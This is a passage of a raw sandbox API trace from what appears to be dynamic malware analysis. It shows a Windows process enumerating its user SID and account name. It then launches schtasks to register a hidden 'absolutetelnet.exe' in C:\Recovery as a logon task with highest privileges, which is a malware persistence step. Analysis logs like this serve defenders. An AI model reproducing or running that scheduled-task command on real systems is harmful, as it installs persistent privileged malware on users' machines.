_Dst=0x161978) returned 0x161978 [0145.076] memcpy (in: _Dst=0x161980, _Src=0x161a68, _Size=0x4 | out: _Dst=0x161980) returned 0x161980 [0145.076] free (_Block=0x2af0e0) [0145.076] free (_Block=0x2af0c0) [0145.076] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0145.076] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0145.076] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0145.076] malloc (_Size=0x18) returned 0x2af0c0 [0145.076] malloc (_Size=0x18) returned 0x2af0e0 [0145.076] SysStringLen (param_1="S-1-5") returned 0x5 [0145.076] SysStringLen (param_1="-") returned 0x1 [0145.077] memcpy (in: _Dst=0x161a68, _Src=0x161978, _Size=0xc | out: _Dst=0x161a68) returned 0x161a68 [0145.077] memcpy (in: _Dst=0x161a72, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a72) returned 0x161a72 [0145.077] free (_Block=0x2aefc0) [0145.077] free (_Block=0x2af0c0) [0145.077] malloc (_Size=0x18) returned 0x2af0c0 [0145.077] malloc (_Size=0x18) returned 0x2aefc0 [0145.077] SysStringLen (param_1="S-1-5-") returned 0x6 [0145.077] SysStringLen (param_1="21") returned 0x2 [0145.077] memcpy (in: _Dst=0x161858, _Src=0x161a68, _Size=0xe | out: _Dst=0x161858) returned 0x161858 [0145.077] memcpy (in: _Dst=0x161864, _Src=0x161978, _Size=0x6 | out: _Dst=0x161864) returned 0x161864 [0145.077] free (_Block=0x2af0e0) [0145.077] free (_Block=0x2af0c0) [0145.077] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0145.077] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0145.077] malloc (_Size=0x18) returned 0x2af0c0 [0145.077] malloc (_Size=0x18) returned 0x2af0e0 [0145.077] SysStringLen (param_1="S-1-5-21") returned 0x8 [0145.077] SysStringLen (param_1="-") returned 0x1 [0145.077] memcpy (in: _Dst=0x161978, _Src=0x161858, _Size=0x12 | out: _Dst=0x161978) returned 0x161978 [0145.077] memcpy (in: _Dst=0x161988, _Src=0x161a68, _Size=0x4 | out: _Dst=0x161988) returned 0x161988 [0145.077] free (_Block=0x2aefc0) [0145.077] free (_Block=0x2af0c0) [0145.077] malloc (_Size=0x18) returned 0x2af0c0 [0145.077] malloc (_Size=0x18) returned 0x2aefc0 [0145.077] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0145.078] SysStringLen (param_1="4219442223") returned 0xa [0145.078] memcpy (in: _Dst=0x1175e8, _Src=0x161978, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0145.078] memcpy (in: _Dst=0x1175fa, _Src=0x161858, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0145.078] free (_Block=0x2af0e0) [0145.078] free (_Block=0x2af0c0) [0145.078] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0145.078] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0145.078] malloc (_Size=0x18) returned 0x2af0c0 [0145.078] malloc (_Size=0x18) returned 0x2af0e0 [0145.078] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0145.078] SysStringLen (param_1="-") returned 0x1 [0145.078] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0145.078] memcpy (in: _Dst=0x11828e, _Src=0x161978, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0145.078] free (_Block=0x2aefc0) [0145.078] free (_Block=0x2af0c0) [0145.078] malloc (_Size=0x18) returned 0x2af0c0 [0145.078] malloc (_Size=0x18) returned 0x2aefc0 [0145.078] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0145.078] SysStringLen (param_1="4223814209") returned 0xa [0145.078] memcpy (in: _Dst=0x12d918, _Src=0x118268, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0145.078] memcpy (in: _Dst=0x12d940, _Src=0x161978, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0145.078] free (_Block=0x2af0e0) [0145.078] free (_Block=0x2af0c0) [0145.078] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0145.078] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0145.079] malloc (_Size=0x18) returned 0x2af0c0 [0145.079] malloc (_Size=0x18) returned 0x2af0e0 [0145.079] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0145.079] SysStringLen (param_1="-") returned 0x1 [0145.079] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0145.079] memcpy (in: _Dst=0x12dc84, _Src=0x161978, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0145.079] free (_Block=0x2aefc0) [0145.079] free (_Block=0x2af0c0) [0145.079] malloc (_Size=0x18) returned 0x2af0c0 [0145.079] malloc (_Size=0x18) returned 0x2aefc0 [0145.079] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0145.079] SysStringLen (param_1="3835049652") returned 0xa [0145.079] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0145.079] memcpy (in: _Dst=0x12d956, _Src=0x161978, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0145.079] free (_Block=0x2af0e0) [0145.079] free (_Block=0x2af0c0) [0145.079] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0145.079] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0145.079] malloc (_Size=0x18) returned 0x2af0c0 [0145.079] malloc (_Size=0x18) returned 0x2af0e0 [0145.079] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0145.079] SysStringLen (param_1="-") returned 0x1 [0145.079] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0145.079] memcpy (in: _Dst=0x12dc9a, _Src=0x161978, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0145.079] free (_Block=0x2aefc0) [0145.080] free (_Block=0x2af0c0) [0145.080] malloc (_Size=0x18) returned 0x2af0c0 [0145.080] malloc (_Size=0x18) returned 0x2aefc0 [0145.080] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0145.080] SysStringLen (param_1="1000") returned 0x4 [0145.080] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0145.080] memcpy (in: _Dst=0x12d96c, _Src=0x161978, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0145.080] free (_Block=0x2af0e0) [0145.080] free (_Block=0x2af0c0) [0145.080] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0145.080] malloc (_Size=0x5e) returned 0x2b08a0 [0145.080] free (_Block=0x2aefc0) [0145.080] malloc (_Size=0x18) returned 0x2aefc0 [0145.081] free (_Block=0x2b08a0) [0145.081] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0145.081] GetLastError () returned 0x7a [0145.081] malloc (_Size=0x14) returned 0x2af0c0 [0145.081] malloc (_Size=0x16) returned 0x2af0e0 [0145.081] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca84, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0145.082] malloc (_Size=0x18) returned 0x2aefa0 [0145.082] malloc (_Size=0x18) returned 0x2aef80 [0145.082] free (_Block=0x2af0c0) [0145.082] free (_Block=0x2af0e0) [0145.082] free (_Block=0x2affd0) [0145.082] free (_Block=0x2aef80) [0145.082] free (_Block=0x2aefa0) [0145.082] free (_Block=0x2aefc0) [0145.083] free (_Block=0x2ae2a0) [0145.083] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0145.083] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0145.083] GetLastError () returned 0x7a [0145.083] malloc (_Size=0x2c) returned 0x2ae2e0 [0145.083] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0145.083] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0145.083] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0145.083] malloc (_Size=0x1c) returned 0x2affd0 [0145.083] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0145.083] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0145.083] malloc (_Size=0x18) returned 0x2aefc0 [0145.083] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0145.083] malloc (_Size=0x18) returned 0x2aefa0 [0145.084] malloc (_Size=0x18) returned 0x2aef80 [0145.084] SysStringLen (param_1="S-1-") returned 0x4 [0145.084] SysStringLen (param_1="5") returned 0x1 [0145.084] memcpy (in: _Dst=0x161858, _Src=0x161a68, _Size=0xa | out: _Dst=0x161858) returned 0x161858 [0145.084] memcpy (in: _Dst=0x161860, _Src=0x161978, _Size=0x4 | out: _Dst=0x161860) returned 0x161860 [0145.084] free (_Block=0x2aefc0) [0145.084] free (_Block=0x2aefa0) [0145.084] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0145.084] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0145.084] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0145.084] malloc (_Size=0x18) returned 0x2aefa0 [0145.084] malloc (_Size=0x18) returned 0x2aefc0 [0145.084] SysStringLen (param_1="S-1-5") returned 0x5 [0145.084] SysStringLen (param_1="-") returned 0x1 [0145.084] memcpy (in: _Dst=0x161978, _Src=0x161858, _Size=0xc | out: _Dst=0x161978) returned 0x161978 [0145.084] memcpy (in: _Dst=0x161982, _Src=0x161a68, _Size=0x4 | out: _Dst=0x161982) returned 0x161982 [0145.084] free (_Block=0x2aef80) [0145.084] free (_Block=0x2aefa0) [0145.084] malloc (_Size=0x18) returned 0x2aefa0 [0145.084] malloc (_Size=0x18) returned 0x2aef80 [0145.084] SysStringLen (param_1="S-1-5-") returned 0x6 [0145.084] SysStringLen (param_1="21") returned 0x2 [0145.084] memcpy (in: _Dst=0x161a68, _Src=0x161978, _Size=0xe | out: _Dst=0x161a68) returned 0x161a68 [0145.084] memcpy (in: _Dst=0x161a74, _Src=0x161858, _Size=0x6 | out: _Dst=0x161a74) returned 0x161a74 [0145.084] free (_Block=0x2aefc0) [0145.085] free (_Block=0x2aefa0) [0145.085] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0145.085] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0145.085] malloc (_Size=0x18) returned 0x2aefa0 [0145.085] malloc (_Size=0x18) returned 0x2aefc0 [0145.085] SysStringLen (param_1="S-1-5-21") returned 0x8 [0145.085] SysStringLen (param_1="-") returned 0x1 [0145.085] memcpy (in: _Dst=0x161858, _Src=0x161a68, _Size=0x12 | out: _Dst=0x161858) returned 0x161858 [0145.085] memcpy (in: _Dst=0x161868, _Src=0x161978, _Size=0x4 | out: _Dst=0x161868) returned 0x161868 [0145.085] free (_Block=0x2aef80) [0145.085] free (_Block=0x2aefa0) [0145.085] malloc (_Size=0x18) returned 0x2aefa0 [0145.085] malloc (_Size=0x18) returned 0x2aef80 [0145.085] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0145.085] SysStringLen (param_1="4219442223") returned 0xa [0145.085] memcpy (in: _Dst=0x1175e8, _Src=0x161858, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0145.085] memcpy (in: _Dst=0x1175fa, _Src=0x161a68, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0145.085] free (_Block=0x2aefc0) [0145.085] free (_Block=0x2aefa0) [0145.085] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0145.085] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0145.085] malloc (_Size=0x18) returned 0x2aefa0 [0145.085] malloc (_Size=0x18) returned 0x2aefc0 [0145.085] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0145.085] SysStringLen (param_1="-") returned 0x1 [0145.085] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0145.085] memcpy (in: _Dst=0x11828e, _Src=0x161858, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0145.086] free (_Block=0x2aef80) [0145.086] free (_Block=0x2aefa0) [0145.086] malloc (_Size=0x18) returned 0x2aefa0 [0145.086] malloc (_Size=0x18) returned 0x2aef80 [0145.086] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0145.086] SysStringLen (param_1="4223814209") returned 0xa [0145.086] memcpy (in: _Dst=0x12dc48, _Src=0x118268, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0145.086] memcpy (in: _Dst=0x12dc70, _Src=0x161858, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0145.086] free (_Block=0x2aefc0) [0145.086] free (_Block=0x2aefa0) [0145.086] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0145.086] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0145.086] malloc (_Size=0x18) returned 0x2aefa0 [0145.086] malloc (_Size=0x18) returned 0x2aefc0 [0145.086] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0145.086] SysStringLen (param_1="-") returned 0x1 [0145.086] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0145.086] memcpy (in: _Dst=0x12d954, _Src=0x161858, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0145.086] free (_Block=0x2aef80) [0145.086] free (_Block=0x2aefa0) [0145.086] malloc (_Size=0x18) returned 0x2aefa0 [0145.086] malloc (_Size=0x18) returned 0x2aef80 [0145.086] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0145.086] SysStringLen (param_1="3835049652") returned 0xa [0145.086] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0145.087] memcpy (in: _Dst=0x12dc86, _Src=0x161858, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0145.087] free (_Block=0x2aefc0) [0145.087] free (_Block=0x2aefa0) [0145.087] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0145.087] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0145.087] malloc (_Size=0x18) returned 0x2aefa0 [0145.087] malloc (_Size=0x18) returned 0x2aefc0 [0145.087] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0145.087] SysStringLen (param_1="-") returned 0x1 [0145.087] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0145.087] memcpy (in: _Dst=0x12d96a, _Src=0x161858, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0145.087] free (_Block=0x2aef80) [0145.087] free (_Block=0x2aefa0) [0145.087] malloc (_Size=0x18) returned 0x2aefa0 [0145.087] malloc (_Size=0x18) returned 0x2aef80 [0145.087] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0145.087] SysStringLen (param_1="1000") returned 0x4 [0145.087] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0145.087] memcpy (in: _Dst=0x12dc9c, _Src=0x161858, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0145.087] free (_Block=0x2aefc0) [0145.087] free (_Block=0x2aefa0) [0145.087] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0145.087] malloc (_Size=0x5e) returned 0x2b08a0 [0145.088] free (_Block=0x2aef80) [0145.088] malloc (_Size=0x18) returned 0x2aef80 [0145.097] free (_Block=0x2b08a0) [0145.097] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0145.097] GetLastError () returned 0x7a [0145.098] malloc (_Size=0x14) returned 0x2aefa0 [0145.098] malloc (_Size=0x16) returned 0x2aefc0 [0145.098] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0145.098] malloc (_Size=0x18) returned 0x2af0e0 [0145.098] malloc (_Size=0x18) returned 0x2af0c0 [0145.098] free (_Block=0x2aefa0) [0145.098] free (_Block=0x2aefc0) [0145.098] free (_Block=0x2affd0) [0145.098] free (_Block=0x2af0c0) [0145.098] free (_Block=0x2af0e0) [0145.098] free (_Block=0x2aef80) [0145.099] free (_Block=0x2ae2e0) [0145.099] malloc (_Size=0x48) returned 0x2ad270 [0145.099] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0145.103] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0145.103] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0145.103] malloc (_Size=0x18) returned 0x2aef80 [0145.103] CreateEnvironmentBlock () returned 0x1 [0145.130] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0145.130] malloc (_Size=0x18) returned 0x2af0e0 [0145.130] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x244, dwProcessId=0xc04, dwThreadId=0x158)) returned 1 [0145.139] CloseHandle (hObject=0x248) returned 1 [0145.139] CloseHandle (hObject=0x244) returned 1 [0145.139] free (_Block=0x2af0e0) [0145.139] DestroyEnvironmentBlock () returned 0x1 [0145.139] malloc (_Size=0x48) returned 0x2ad220 [0145.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x24b5dac0, dwHighDateTime=0x1d8a92a)) [0145.139] SetEvent (hEvent=0x1f0) returned 1 [0145.139] CloseHandle (hObject=0x2d0) returned 1 [0145.139] CloseHandle (hObject=0x234) returned 1 [0145.705] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0145.705] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0145.705] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0146.197] SetLastError (dwErrCode=0x0) [0146.197] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0146.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0146.197] SetLastError (dwErrCode=0x0) [0146.197] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0146.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0146.197] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0146.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0146.197] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0146.197] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0146.199] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0146.199] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0146.199] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0146.199] 